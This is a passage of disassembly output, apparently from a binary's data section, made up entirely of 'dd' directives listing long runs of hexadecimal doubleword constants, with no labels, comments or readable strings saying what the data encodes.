		dd 0CFA47F5Ah, 15633627h, 1CCCD6A0h, 0B09B64C0h, 43008A69h
		dd 0F4BD0524h, 0EA9A5BBh, 1D043A26h, 34153E3Eh,	0A8E09827h
		dd 14307D02h, 54A548AFh, 85BB1840h, 6783D85Ch, 81942C57h
		dd 90296B24h, 0AFC5B850h, 4890AC7h, 0D07C353Ah,	8EF23C52h
		dd 0D165C1C0h, 1CE5BBD9h, 47638549h, 53640D56h,	43A1098Ah
		dd 43B84725h, 18280FBCh, 0A31FC860h, 2A3A5C7Fh,	2B0D0D0h
		dd 0B165BB0Ah, 6E0AF818h, 0B91D8025h, 60C31BBAh, 3BB7C198h
		dd 2804D1F3h, 3379B441h, 684EE89Bh, 0F00509C1h,	2E57D403h
		dd 77683C4h, 309DA8D7h,	16853B24h, 1225BB9Fh, 98100308h
		dd 6FA16384h, 26E3D092h, 0A31F8C78h, 0C3048155h, 6C838725h
		dd 43C01264h, 0E47846FEh, 4C33E0D1h, 3784872h, 0BA96B4D9h
		dd 8189FA5h, 0E3E86645h, 8308C6CEh, 31DD0C6h, 183C4D1Ch
		dd 6E08343Bh, 64C8DC24h, 352087A0h, 0F865465Bh,	59C00319h
		dd 98AE868h, 0C90E156h,	0FD40E474h, 0E3243449h,	8604904Ah
		dd 52580ACh, 843A370Ah,	30FE845h, 247872E2h, 0E90718F6h
		dd 0FA454134h, 8304F4FFh, 6320D890h, 8128AD92h,	496E0CBBh
		dd 62E50089h, 0F44FAA0h, 0E4396CB3h, 6C5BE2C5h,	8E1BD5E4h
		dd 0A841F605h, 2895A104h, 87CC7065h, 4D54805Ch,	3DD7562Eh
		dd 6A7FA090h, 8C05960Ah, 24D0582Dh, 0A74B1034h,	0D5C507B3h
		dd 324297BAh, 3384F2Fh,	0A735D312h, 0B39C97D4h,	0FEA296A8h
		dd 0A2828C6Fh, 0E2217BE4h, 325482E5h, 0C44B00C9h, 0C657A489h
		dd 5501C0D0h, 9A16E6A3h, 0B6DF02ACh, 2F3464BFh,	0AEE074B4h
		dd 6C268312h, 53459000h, 2A550C9h, 0A4889E87h, 5C61FE34h
		dd 39840D0h, 8C42602h, 40823A67h, 0C88BE39h, 1B59F313h
		dd 2372E599h, 5A45500Ah, 0F5F08829h, 74CF0A3Bh,	3FF842C0h
		dd 0C550E402h, 84BC2F33h, 1857703Dh, 0A5D07C7Fh, 70FC6068h
		dd 0C43A38AEh, 397416EAh, 0C82C4C31h, 905E2910h, 0D0B1F05h
		dd 0C5E845D1h, 0A3C402E5h, 7CB4290Ch, 38220E0Ah, 6586E885h
		dd 30EFE8h, 0E4C51BABh,	64C481C9h, 50471D03h, 0C3891285h
		dd 8FE7FA04h, 57B9E0C0h, 97C37D3h, 0CE18A35Dh, 8329C08Fh
		dd 70229800h, 4CED443Ah, 3000A7F0h, 0FE877111h,	7CA13FCh
		dd 0D7A03C97h, 0D0653095h, 35733210h, 0FFC7EEAh, 10DF69F0h
		dd 0DCFFB00h, 0C0CA5370h, 23AB8808h, 2B007B72h,	6F0BF3FEh
		dd 2B463002h, 8034A696h, 55591D15h, 0D00B6466h,	809C17B0h
		dd 2B6EEF98h, 3DA700B3h, 0C8FC3010h, 0E1D500Dh,	53F0F92h
		dd 863223A6h, 3652FA80h, 70021476h, 61B034E7h, 1F0CA827h
		dd 0D2D0751Ah, 900F0C8Fh, 95B0A36Dh, 121EA574h,	0BA09F0h
		dd 0B0027F50h, 0AEA8C88Bh, 33310E28h, 6AA1F0C4h, 80B670D0h
		dd 0B9583080h, 28D59224h, 702461F2h, 4C9152F0h,	9DBA9A80h
		dd 760B14F8h, 80F790D0h, 155612EAh, 0EE300A0Ah,	0D8A00F85h
		dd 7226B348h, 0D0016AACh, 6F1FD230h, 0AF6DC4E4h, 0A1240188h
		dd 8C64E110h, 79F55038h, 7C705609h, 89150880h, 9A00C458h
		dd 0C9BDD78Eh, 0F8D3C1h, 7D175AC6h, 0F4A539A6h,	0AC89441Dh
		dd 90056143h, 37300079h, 0F3C1624Eh, 0C014A34Bh, 0B01CF613h
		dd 20BF68EBh, 97186EF9h, 0D2308473h, 53CF14C1h,	22B01C7Dh
		dd 2320DCA0h, 1DF7001Ch, 0D6512FABh, 0B100334Ah, 27F42A7Ah
		dd 2247D2h, 0D7A29331h,	0CAF08173h, 0D8743379h,	6F074CF6h
		dd 74B99130h, 45D37140h, 3EB2FE34h, 3C00225Fh, 0CFB12FA4h
		dd 33B0BC9Eh, 7403EEEEh, 14BDDCB0h, 15C19F17h, 0B4F05080h
		dd 1EBE71BBh, 3A4DB194h, 7EB9141Eh, 4B2F1Eh, 0CF10B0F4h
		dd 8C08313h, 0C098CD53h, 0D3DC40F3h, 0C17CF47Fh, 8F119C3Ah
		dd 81A7EF73h, 67746093h, 4505844Bh, 52D8015Bh, 800904BCh
		dd 2AC6BBE2h, 6C530608h, 0C86ACDE3h, 0CCF57100h, 0A0F2B4BDh
		dd 87E8ADC0h, 0B0F1AE33h, 0B78E9B2Bh, 0E37A6B03h, 0A07101ADh
		dd 93FE2Dh, 3B7F0DE2h, 0D2D91766h, 0A4006EECh, 0FDAEBABDh
		dd 3370C535h, 61CC1A5Dh, 0DDB3090Fh, 0FDD0001Eh, 0A9E33Eh
		dd 7DB6ED63h, 53A3D598h, 0DDBFE00h, 17B724D2h, 0C5010A18h
		dd 581CA650h, 1A0092ADh, 0DBF9A8ABh, 3F096E6Dh,	70177B7h
		dd 192D90C5h, 3D000B33h, 709ABA28h, 0CD0EDBFFh,	20B721F2h
		dd 0D0C5EA92h, 8038A5A5h, 78AC25F8h, 0FF0F9626h, 6609DD47h
		dd 108C2F1h, 0B250D731h, 34E1EA7h, 0C02BA3B5h, 4F8B6EDAh
		dd 0F58BC75h, 0EC495BCEh, 2274952h, 0B1A6C278h,	0E10E3A6Eh
		dd 0DBE6C468h, 5701204Bh, 684D516Bh, 1D07C07Ch,	0FA801180h
		dd 9A9100B6h, 3726C447h, 80853A13h, 7D1CE6DCh, 0E7E07B27h
		dd 0A6C36B00h, 0B63ECB31h, 6601E751h, 6404B9Fh,	8F71ACCAh
		dd 66C771C1h, 886D7824h, 63788EFAh, 650BEE8h, 0F87F0590h
		dd 0D8E43132h, 38CB4A6h, 0E4F60C5Eh, 0A7817DE3h, 715888BFh
		dd 0CC5106B1h, 3C3EA064h, 9ED10704h, 6040A5EAh,	305CFC0h
		dd 1191D379h, 0C02B6EC8h, 87EFA4E4h, 24C52F15h,	64878403h
		dd 75C82B66h, 0E1C0E0A0h, 0C0A85232h, 1D659767h, 9C7C7A90h
		dd 618EF698h, 0CD4739E6h, 0CAD08A1Bh, 72F18C6Eh, 88EEEDCCh
		dd 0B729FF27h, 5DE06CC3h, 30B0B3B9h, 0F9102356h, 49008682h
		dd 27F24442h, 39A4C5A6h, 0CC508F11h, 15107447h,	7C3F2B51h
		dd 5FC8BDA3h, 48C71D0Ah, 0A2D0B907h, 10809A51h,	12BDA7B1h
		dd 881D2E11h, 32B6909h,	14637300h, 941C7108h, 6E9C512h
		dd 2867CE38h, 91E81D50h, 0F80E5428h, 748BC48h, 0A4A9DAD1h
		dd 0E5DCB580h, 0C3207C76h, 0A5E984B8h, 916108E0h, 169BD119h
		dd 7771DCC0h, 0E835ACD0h, 219C3EB1h, 0C820E774h, 1E183C67h
		dd 410E1479h, 1BECA0C4h, 0A182D21Eh, 67F27101h,	0C88D60B8h
		dd 0DD085F6Fh, 0E7C0805Eh, 3705BEAEh, 0C0049346h, 3C810C02h
		dd 0F246EC03h, 1522D647h, 1C3F85C0h, 6A18CDA3h,	2738F350h
		dd 0D08AE5D3h, 0F0DC40E9h, 0CD080307h, 0A46D7C9h, 0F0803F5Fh
		dd 90183AD4h, 0E7F057AFh, 0C0580468h, 8F40DBE5h, 28990054h
		dd 98906024h, 6D200738h, 902AFD1Fh, 360611D1h, 215D5801h
		dd 0EAFFB785h, 0BBB23180h, 5F2CEF5Bh, 205D1F00h, 0E51DEBE1h
		dd 51D17165h, 1C1CC25Eh, 0D23E007Bh, 0F53C475h,	0E42CB5BDh
		dd 5F016DEBh, 252291D1h, 0EF02384Ah, 0F32BE8F2h, 4A91D01h
		dd 0B53F388Eh, 0AA5EA260h
		dd 9D3AB1DDh, 81F10CABh, 5710ADh, 0A051DF24h, 2B02BE5Ah
		dd 0FC1468DEh, 5ED7B06Ch, 0C309005Ch, 617D0F56h, 315B1DCh
		dd 0E1885F72h, 34F8B525h, 0DD38C29Dh, 361ADEAFh, 0B2860688h
		dd 38B406A3h, 91773D03h, 29BBE3AFh, 0A88C340h, 0F390648Fh
		dd 0B8F0D7B8h, 9DACEB50h, 0D2875702h, 0B46308A2h, 75F5F078h
		dd 557E00B4h, 957FD0Fh,	0D600A2D3h, 0EC2BFF2h, 68E2BE08h
		dd 1FA010D5h, 0DE2207EFh, 4887CE4Dh, 2082407Ah,	621FBD81h
		dd 0C20A4C68h, 9100BC40h, 0D1DDB00Ch, 51CCA0A1h, 1082883Fh
		dd 977FD0F7h, 0DC30D078h, 84A1105Dh, 6A0218BDh,	786770F0h
		dd 9C0160ADh, 0C19DCBD2h, 815DA040h, 22D30A44h,	60BC6194h
		dd 0FAFFF8A2h, 0E300C1E0h, 7F60DB6Bh, 0E91C8F7h, 9DB00529h
		dd 0E0A1CB40h, 8100FAB8h, 0D341F8Eh, 195BF8Dh, 0DF1D708Ch
		dd 0D45FD19Ch, 0BA016375h, 59304FE8h, 0B3C1C1CBh, 78E161D0h
		dd 90E6AFh, 5001C9C8h, 0DC66A805h, 1C59F3Ch, 0C1FABE1Fh
		dd 304A1EECh, 69A1B500h, 0E893672Dh, 5DECEF0Dh,	9888D6CBh
		dd 5E788C01h, 0AD18306Eh, 0C7F38F39h, 0B881C919h, 0E1BCC1D8h
		dd 98D57318h, 0A8070736h, 0DA5C4086h, 0FAB90280h, 2E442141h
		dd 5C768EC0h, 0BBC3064Ch, 48912FE8h, 982EE12Bh,	870645E0h
		dd 0FFCF887Dh, 8080C657h, 7A0F402Bh, 0E8910FFDh, 0DA42736Fh
		dd 773E17A1h, 0F2E75CA5h, 0B842A06Ch, 0FBA1D600h, 3921CBC9h
		dd 26C7181Ah, 0D2E60851h, 0D546E1E1h, 0F686F02Dh, 41CBE305h
		dd 8479B8FBh, 2831B7C8h, 2B44235h, 0C6ECD9AFh, 40CE06h
		dd 0E96E98E1h, 0CC34C048h, 0F8EDDBA1h, 18A06201h, 98BE4461h
		dd 0E17C4000h, 0B28B65DEh, 896B006Dh, 2F2CBBC4h, 8FE6AF0Eh
		dd 82E6F00h, 0D4DEB92Dh, 40A507ABh, 8EBAB405h, 0E53AACA1h
		dd 0AD408333h, 0F0911C5Eh, 779DFE6Eh, 0C4880C9Bh, 46518CFBh
		dd 21002DF8h, 5267412Bh, 0F33DBDFh, 68E810D4h, 90D57707h
		dd 0EC1A58D8h, 0FD85E900h, 3264170h, 0F3FF3943h, 0A77F6201h
		dd 0AA3CC5Eh, 20DF5302h, 20905456h, 0AA00C6E1h,	936D9F43h
		dd 3A0A7F37h, 2C004287h, 0EDBF3AAFh, 66E8459Ah,	8E181F60h
		dd 0F53F62F7h, 0A861344Bh, 105A9EFBh, 1870FF50h, 68A85C81h
		dd 370190ACh, 3BF1CEDFh, 45E4B43Fh, 0AD913A5Fh,	0D22B1E7Ch
		dd 737A0E3Dh, 447D0793h, 57D6C34Fh, 0B08D80A7h,	13011F50h
		dd 0EFFF62E1h, 784BCD8Eh, 0E65D80Ah, 77214244h,	0DE5BBF00h
		dd 7E1F1844h, 0D117F8EEh, 0D39F3A1Bh, 77D5E098h, 995F1839h
		dd 8BF22851h, 0F47F450Ch, 0A7E08E5h, 105F3EF9h,	53FF0190h
		dd 719F319Ch, 0DDFD03Dh, 0F43CC8DEh, 0F02DC880h, 2686037Fh
		dd 2B9E5F61h, 0D8A92030h, 73B3BFFFh, 8C713050h,	45CEEDACh
		dd 0B8973F28h, 0BB8D47FEh, 82599F11h, 41350AC1h, 0E880B80Ch
		dd 3792F67Fh, 0E23C113Fh, 2C340F3Eh, 7606003Ah,	0A07E9F39h
		dd 3E201FC4h, 7C18447Dh, 0FB6F80EAh, 9503E8C4h,	0E7210481h
		dd 0D0AD1898h, 0F83A171Fh, 0A944013Eh, 4F2B9F50h, 6E8A3FF0h
		dd 0B16C0829h, 0E8C2D5D8h, 834A5F7Fh, 0C04B82E8h, 91FE0B9Fh
		dd 5080505Ch, 61E1C684h, 5F28D85Eh, 9F72D8E2h, 0E4CEA183h
		dd 817DC842h, 3C23FD0h,	0C0BD5C20h, 319EFEB1h, 68089BBFh
		dd 98F99F62h, 48E3998Bh, 22FEC8A9h, 0FBABA174h,	4801BC5Ch
		dd 7F02705Bh, 0DF2E64FAh, 0FF5A2082h, 78425845h, 0A1749951h
		dd 283BC6C4h, 34DC2ABFh, 9986F9Fh, 0C15FFF8h, 0CAB1824h
		dd 914A023Fh, 427B9F37h, 0FCB8854Ch, 0E804C02Ah, 3082E218h
		dd 903293E1h, 0BC51516Ch, 906ABDE8h, 883C489Ch,	0E0FB4874h
		dd 5DA7F0Eh, 700AFF82h,	7116C083h, 931024h, 0BC245F0Ah
		dd 1558BF1Ah, 0F51B08B8h, 81055344h, 10AC2BEFh,	39998498h
		dd 5F9C3421h, 127CA64Ch, 2449CADFh, 8AF809AFh, 5F0F248Fh
		dd 9BD0395Bh, 6312D824h, 0B3D8B054h, 0F6C0B414h, 0C2EDA9C4h
		dd 2C15C4Ch, 0DF3B65E4h, 9C8464FEh, 0F9B097C8h,	0DC09500Fh
		dd 0B88AE895h, 61626C8Bh, 9F78404Bh, 58609104h,	4CA6F45Bh
		dd 479B0114h, 8ED413CCh, 0B022B40Ah, 84D04256h,	94D230A1h
		dd 0BFBC406Bh, 0D89D64A0h, 35C8A22h, 845349D9h,	0D0209176h
		dd 4D3970h, 1B0ABDB2h, 0F38CD8ACh, 8F36943Dh, 0E03A33A5h
		dd 5BCAA3E5h, 0DD881DC5h, 7805387Eh, 309FD1E9h,	0C1D6428h
		dd 13496D60h, 194D3173h, 5035EE05h, 45489FA2h, 857EDB01h
		dd 70E799Eh, 0D892BB54h, 338CD5B0h, 5ADF0F34h, 7E4EBE45h
		dd 29684885h, 80B8F01Ch, 0D19E3833h, 534031CFh,	4FA00539h
		dd 290A3A38h, 73051C6Fh, 7869DB78h, 10907096h, 93821CB5h
		dd 70BCD88Dh, 70B5EA14h, 92B3801Ch, 0E57ED9h, 655F4C57h
		dd 56133B7h, 60B47800h,	5BA4A6A5h, 0DA0A2B85h, 30984C30h
		dd 0D312B547h, 85370614h, 651450A4h, 2AACC142h,	1923B036h
		dd 1AB8CCC0h, 0B3C423h,	61B0FCF3h, 4307C9E5h, 592C8556h
		dd 0CA12004Fh, 0DF226558h, 5ADE4071h, 4CA8FBC5h, 6B0346E8h
		dd 0ACE7256Ch, 5397F96Dh, 7837E5E0h, 2CA515ADh,	38E274D8h
		dd 6D132014h, 409EC501h, 41046556h, 3203A441h, 4867A88Fh
		dd 1EB02505h, 4E231EA8h, 0D88A456Ch, 8000F2F8h,	0EEDF22BAh
		dd 5877BEE8h, 1044F701h, 0EBC46051h, 5619098Fh,	362404h
		dd 61DE9984h, 74E83E44h, 55583174h, 8C23D428h, 2849B508h
		dd 8786019h, 0E47C8BCBh, 4ACD5900h, 5563B124h, 19D23A44h
		dd 0F9DA410h, 831D9484h, 0E1310FC4h, 0E4004624h, 0CC80376Dh
		dd 0B518C01Ch, 7C447D8h, 6461DB74h, 6E594409h, 6DA7508Ch
		dd 10C3EF48h, 0E003BAE4h, 7C843964h, 3087E149h,	8180CDA4h
		dd 0E0DA6CE4h, 86780A24h, 0BE6342E8h, 0C0BCD118h, 0F8BF2D04h
		dd 81D57484h, 0E1098C59h, 71750AAh, 910447D1h, 0B164C1B9h
		dd 54088DABh, 118C40A8h, 0C428D084h, 0F8814E41h, 5D37AFC7h
		dd 95B7D0C8h, 7F10FF67h, 0A1CFB007h, 0B877B4E9h, 5A17188Ch
		dd 0FA3C9708h, 95F70FD1h, 8A5784D4h, 0F050724Dh, 7080D2A3h
		dd 77A20015h, 373AFF0Fh, 0E50FDF16h, 0E0B56409h, 8AEDE718h
		dd 43103927h, 17996D8Fh, 854543DFh, 0F98377CDh,	602FD7A0h
		dd 2303F7F6h, 0BC97C2CFh, 2737A0A7h, 3AA27C3Dh,	0B7383559h
		dd 97B61D03h, 57A1141Bh, 54098FB2h, 87178413h, 182E7706h
		dd 10EBD710h, 1C054E1Fh, 100659F7h, 3E370089h, 0D840CD07h
		dd 8636FD30h, 39E97720h, 0C5F633D8h, 0E808C3F0h, 70FDE8B7h
		dd 4011F6F3h, 0D784215Eh, 0A8921D04h, 7137BD00h, 74F7E932h
		dd 52D0F153h, 17C21AADh, 0A8D0095Ch, 0D605719h,	0F0BA04C0h
		dd 0A23A320Fh, 0F788F98Ch, 0C2B81B56h, 300F4E32h, 0DF0315F7h
		dd 0FA2B97A0h, 8A05A1CDh, 33E80880h, 5FCC17E9h,	6937B700h
		dd 4877C2B1h, 0D2C4A3F7h, 60988329h, 1083041h, 187337A0h
		dd 312BA274h, 84E88FFh,	0E540EE84h, 0C8D7A0DDh,	12CF653Ah
		dd 202A1886h, 0C02AC211h, 0B75D8A37h, 0B4E12477h, 241D1514h
		dd 682390B6h, 0E257885Eh, 34833700h, 0FA9297E9h, 0F3F714C2h
		dd 0AA28BC40h, 19B73780h, 0D0BDC1F8h, 8B9ABAFh,	0B24A97C1h
		dd 0C0BCC7C0h, 0F3621F10h, 84A9A837h, 3205B63h,	8051B3A4h
		dd 5EF12BA7h, 0C0386870h, 8B56752Dh, 6405377Eh,	0A0E0AA77h
		dd 1D4ED86Ch, 0F1C23C47h, 5579770h, 96B346Ch, 0EFEDAF41h
		dd 4AC8E827h, 51017C88h, 5ED708D8h, 7CFC62E3h, 4170A717h
		dd 0F7A0DE55h, 78262DDBh
		dd 0BC4852h, 0C5382898h, 3C96C0Ah, 7B9EDBCBh, 2101E9F0h
		dd 0B9F51858h, 0DDF8D138h, 77A307B8h, 80958DB2h, 3B2771B4h
		dd 25026400h, 0AFEBDE67h, 83D1183Ch, 3E8440CEh,	19D67A07h
		dd 0F0E39B63h, 2BC4E81Ch, 3E4860D3h, 1C6234Bh, 0A359FB00h
		dd 37698655h, 40CD6090h, 76DA086Ch, 87E78B00h, 3F476039h
		dd 749908Ah, 135C907Eh,	302B011h, 0CA07E715h, 957DA9D5h
		dd 0E21AB433h, 0F7EC053h, 1820003Ch, 2B23861Dh,	310036AFh
		dd 0EACE0430h, 3DB94A28h, 0D6850FE3h, 1FF50115h, 0B5007880h
		dd 760475F4h, 0B0980746h, 6D3598C2h, 0C1A880B6h, 0B8FC9Dh
		dd 0BA730315h, 2780C6A1h, 0B03B983Ch, 0E962C99Eh, 21E30010h
		dd 529F1559h, 44007AE5h, 6E538CD9h, 7E651F30h, 4C4605F3h
		dd 80C8BCB7h, 89AE527Ah, 0DD181100h, 1C9F4192h,	4BB01DC6h
		dd 82BD000Eh, 0AA1E26F1h, 43D29C00h, 0BC2DA4ABh, 745E3FD8h
		dd 0DAD9FB00h, 0DB0403EFh, 20CF8B7Fh, 65E60ADh,	23CEBh
		dd 1BA16340h, 25133F7Fh, 0F507627Ch, 0B4A2A638h, 0B2BF004Bh
		dd 5A19D7h, 943FA5Dh, 7E11FCB0h, 0B3E9A900h, 0CF9D4EA4h
		dd 7D5066Dh, 6893BE56h,	0DD64DC00h, 0DBB6B780h,	0F88AF02Eh
		dd 122414EEh, 2A0194C5h, 0EB817AB5h, 8020B8DAh,	71CCF0D3h
		dd 6C15223h, 0C927DD2Bh, 0D21D41B4h, 0AA0E333Dh, 76568022h
		dd 596753Eh, 50389D17h,	0C4A903A5h, 0FB17C71h, 0BFB0EFF4h
		dd 1F00DE78h, 0DAD6B008h, 6021D19Dh, 7744482Fh,	0B90E2083h
		dd 0C7DF0273h, 7463165h, 600F3821h, 84745580h, 2871C7B6h
		dd 0CA418C0h, 0FC3E9B93h, 880201BEh, 38F6819Ch,	8950F4E0h
		dd 6503587Ch, 0AC8697DDh, 1E28002Dh, 0A0908841h, 8300B05Eh
		dd 66DA577Fh, 7E72D21Ch, 5FA41C05h, 714BC6C3h, 52036AC1h
		dd 0E944DA1Dh, 0FB74A88Ah, 0D483003Ch, 27CE992Eh, 7965F422h
		dd 1480E5E2h, 431D77Fh,	95E88B50h, 87388015h, 0D83DA89Bh
		dd 6D6F007Ah, 56116775h, 0BAFF0F91h, 19A0D798h,	5C964CF0h
		dd 0B281B006h, 11EF68h,	0F1201B7Bh, 77DD58CDh, 12D04F03h
		dd 0F03E61B3h, 9BB6Dh, 2E3FEC96h, 84A4ED78h, 0EE396B00h
		dd 0E105E967h, 85460066h, 21C6D3BEh, 3E12575Ch,	9D1C9ADEh
		dd 8C4351C0h, 1FAC28Fh,	8AAFE5C0h, 0D0E881C8h, 0C91F564Eh
		dd 1EC3666Eh, 0C0F90BA3h, 0A21ECD6h, 0F67476D4h, 2B2F07DDh
		dd 0DF557Dh, 0A77B3208h, 0C18C099h, 8D31EB86h, 0BC95039Fh
		dd 0FBD3F651h, 0ED03AED8h, 30FEDA1Dh, 44365E80h, 0E2C05C6Ah
		dd 9CE600E3h, 389671C8h, 0C171E714h, 5C3D1601h,	68A330BAh
		dd 0C841B447h, 0D6D82EC0h, 394B07Eh, 0CBD72234h, 8A84A80h
		dd 9300CAB7h, 0AC1B1590h, 0AB9BCFh, 91F5D4EAh, 8448205Fh
		dd 89EC5000h, 190EF398h, 0ED6E13A4h, 59A100CDh,	7C50AD56h
		dd 0B279EB00h, 55F0A963h, 99B8A02Dh, 256507A1h,	0B037498Ah
		dd 0A9158832h, 77DCAD00h, 0E81AAF38h, 0C78503BEh, 0F08B2DECh
		dd 32486EB8h, 0A56B9007h, 57C1EBC4h, 26C861C7h,	0B5830072h
		dd 3F0F8AFAh, 9060BCFEh, 8C55760h, 59E003Bh, 0EAE32CABh
		dd 0B400182Dh, 0EE6F10AEh, 6EB27Dh, 0E882FBCBh,	127BE743h
		dd 4E714100h, 8368D9B8h, 0B91300BAh, 444AEE4Dh,	46008699h
		dd 309566CEh, 0C150C25Ch, 0B0F6E7A4h, 0C7F2D4B9h, 49FF7230h
		dd 988264EDh, 264B003Eh, 0A62D043Dh, 76B0EF47h,	0D0D28F01h
		dd 67B12EF2h, 97A9E0h, 0F82C66ABh, 0BA06B88Ah, 3A7E1A00h
		dd 5C6DF358h, 0DC72062Dh, 8E996644h, 7E69100h, 46FA93DFh
		dd 2010CA5h, 41305E58h,	0C0282D00h, 4BC81738h, 184D6039h
		dd 945EECBDh, 443168C0h, 1725D60h, 83AF9AFBh, 805C7391h
		dd 0B12CC328h, 779421Bh, 63C2C635h, 13F843EBh, 0A607E780h
		dd 0A0A2CE01h, 539EED62h, 0E80177FCh, 30F04C27h, 0E5E08900h
		dd 60EFAD3h, 5E1FA000h,	0A3DBF1C0h, 1B5B0086h, 0E46F7EB0h
		dd 0CA00DF30h, 67C93BECh, 9E741Fh, 0DA0B64C2h, 0FAB79C4Fh
		dd 1D82A600h, 6032CD4Eh, 278F02BBh, 2F460283h, 6BD25FC0h
		dd 0D4357E00h, 15656A1Fh, 77B00057h, 71476263h,	0AF3804F0h
		dd 392A8002h, 0A7839E5Dh, 0F576E7h, 73483A44h, 0F075011h
		dd 1082AB00h, 0F429768Bh, 62D30358h, 2FDC470h, 8CC05ACBh
		dd 0EA1253F3h, 4800BC72h, 862C5CBFh, 74E3ECC4h,	0DFA2066Eh
		dd 5047CAA5h, 87B0C307h, 60CE5916h, 3E32D7E5h, 0D2FA00C0h
		dd 3D2CE228h, 0EF05E8E9h, 0FF2E7F4Dh, 19FC30C0h, 7B361E35h
		dd 0BDB140E0h, 43D33B38h, 8C31420Eh, 0E645275Bh, 7A88004Fh
		dd 7F5FD0h, 5A5D0A4Eh, 66A26BAFh, 0FE00E479h, 0DA1741F7h
		dd 0DDD3CDh, 0B604289Ah, 1DECAACh, 0B4F81000h, 93F96AEBh
		dd 347901FCh, 0D5FA4019h, 825370D9h, 6F178A00h,	0D283C961h
		dd 0BE1D00EFh, 3DF2FB27h, 0B5002E73h, 951C2C16h, 2A7614h
		dd 4423C0A4h, 8758A602h, 535D5C00h, 0A9D29FA3h,	0F9290020h
		dd 252AE09h, 2200E60Ah,	614561Ah, 0E31F7Ch, 76F132Dh, 1CD9CDC9h
		dd 5A03C6E8h, 2FCCAC89h, 4B20B7DDh, 933706h, 0F97C6BCDh
		dd 25DC0FADh, 0B9704300h, 0B466224h, 99F50076h,	9FE202F2h
		dd 3B0010B0h, 0D72C54C1h, 4AA0D8h, 7FC358A5h, 369C075Fh
		dd 8C9E8814h, 3E5C0089h, 0CEFF9938h, 6A50007Ch,	0FE636D3h
		dd 5A00A340h, 8EA72BBh,	137BB9h, 9DB245C3h, 22DB5C4Bh
		dd 36935F00h, 5D559B9Eh, 38FF4E4h, 0D6F840A5h, 0C8A18EF6h
		dd 969B40CEh, 0C3E27683h, 0B487AB00h, 4DE8B8C5h, 0B90D001Eh
		dd 62067D8Ch, 4F000B90h, 485FEC5Ch, 701E20D7h, 4BBC003Ch
		dd 0B78D961Dh, 0AB00EE69h, 24700431h, 0E4581AD7h, 0FC7C0E48h
		dd 0EE20230Fh, 0B2C83A4Dh, 42501900h, 7D6AFBB9h, 82B03EF0h
		dd 1FBFFA80h, 0ADA36063h, 2B22F403h, 0E1E7405Bh, 0DE2095C8h
		dd 0C56E14A6h, 0E8008215h, 20CE90EBh, 0F006D35h, 2AECB728h
		dd 1B80AE1h, 883EF8DFh,	60953C3Ah, 65E2A5DDh, 0ADD6A000h
		dd 4FDF2BA8h, 8F9B1E7Fh, 3DF8E601h, 0B3243980h,	11EA3822h
		dd 7DFD6F00h, 0DD97C268h, 18376F04h, 0FFECD860h, 0FD035307h
		dd 0CD239FB4h, 0E51EF90Ch, 1C8441E0h, 808F8DA9h, 79DB0516h
		dd 0C39D2C0h, 0DD010385h, 0A8220EE0h, 1E575ABFh, 9380394Fh
		dd 8FF8023Bh, 2FE0C77Dh, 2100AB18h, 45236ED2h, 25B80Dh
		dd 0A116F4E1h, 110651FAh, 1A46710Ch, 0FCE26165h, 9AE1889h
		dd 8B519275h, 0D1DE9601h, 7BDA73B7h, 0EC9B1AD4h, 0C6E900B1h
		dd 81DC1587h, 590085B9h, 644854C9h, 4146AEh, 9511D1A5h
		dd 0D2286FADh, 87BBCD00h, 6A6EA1DCh, 318B003Dh,	9A0B5034h
		dd 0EE095B7Ch, 80CB1BA0h, 2AC58BDh, 0A9801677h,	73AD0011h
		dd 40A8B642h, 9BD9F31Fh, 3EE25DC0h, 0F286DE57h,	3D050085h
		dd 1766303Bh, 0B50B6FBCh, 84E5CB79h, 86803FC8h,	3A97AD43h
		dd 0DB804C36h, 22EA68F9h, 0F8004FF3h, 0A41C6601h, 40C813h
		dd 6F0544ADh, 0CBC1B459h, 8177E200h, 93D1C36Bh,	0EF8400E7h
		dd 0DF464F3Ah, 0E30098ADh, 99BB3326h, 39A1730h,	0D89787CFh
		dd 80EC13F3h, 528F2A42h, 0C5000773h, 648A45F4h,	16FA86Ch
		dd 0C1751EF6h, 0D0B66219h, 34005EE6h, 0A17729C2h, 600BB9h
		dd 0A5D04C0Eh, 3B9A1543h, 2E1EDF00h, 582C4F62h,	8D2B0CC5h
		dd 0CF8C1663h, 0E80001EEh, 0F6B65B82h, 391C72h,	0FC7D3CF9h
		dd 3AA6C5E2h, 15B31200h, 0FF84C0A2h, 8E35000Ah,	361CD398h
		dd 7E002E70h
		dd 5EB22322h, 3AC6972Bh, 0D300781Eh, 0DE3AFAE6h, 0F4036B1Ch
		dd 91DDAD9h, 5A7EC8A5h,	25FB00CFh, 3D51A1BEh, 680215A9h
		dd 52D1AC71h, 0DF8C80E0h, 24131Dh, 7EF4C442h, 18F126E7h
		dd 0D8ADD203h, 0D08C4BD0h, 48F79CFEh, 0AC00146Fh, 3F4FF549h
		dd 0D50094D7h, 873E778Fh, 0D115BEh, 988535EDh, 9C71D11h
		dd 75E5DC00h, 9C802C8Fh, 3DBF6CFh, 0B331E494h, 20F896C1h
		dd 0A93AF1EFh, 900FA3Eh, 8593EDC5h, 288C3AFCh, 86C06h
		dd 72FA8A31h, 4018BCC7h, 959E31C0h, 5B197Ch, 0DB01FB66h
		dd 0FAE22E9Ah, 0E0D24700h, 0FC836DC8h, 55861E26h, 33438297h
		dd 808010EFh, 45BEC296h, 0F318D301h, 14A0B973h,	24AB02Bh
		dd 5310BF00h, 0B5F6857Ch, 0ECA50175h, 5C5AB1DAh, 8B40BDDDh
		dd 80D150EAh, 3DF7432Ah, 57411874h, 42A2881Ah, 9BA19700h
		dd 0D6C3DEC1h, 0C21B0004h, 39FDD220h, 0AB00E0C7h, 21A881CBh
		dd 12EB0FEh, 0EA9EDDD5h, 0E046CA65h, 5C00EE34h,	61B39714h
		dd 0FA6024h, 0FDCF7C9Dh, 0FFDAEBD7h, 0FB9E4518h, 71C1D90h
		dd 4F42E2A6h, 0FAF6C325h, 420D194Ch, 0C8DF7990h, 8288DC87h
		dd 0CE26C280h, 15790077h, 0F999EDBBh, 0C9185713h, 34403640h
		dd 8D450163h, 0EE185B0h, 0C520E47Ah, 0F89AE8A1h, 0FA7B1EB5h
		dd 0FCD23104h, 30973EDDh, 0ED9976F0h, 486B01BEh, 35FF2903h
		dd 45FD4017h, 0E46B123Eh, 0C42F0328h, 0A05006C6h, 0B8590EA6h
		dd 77070880h, 0AC56252Ah, 3C99A900h, 0B1E190B8h, 0C7E71213h
		dd 60D402A8h, 0C480AE70h, 0C0A5ADBEh, 0B0693100h, 0DFD9DC2Ah
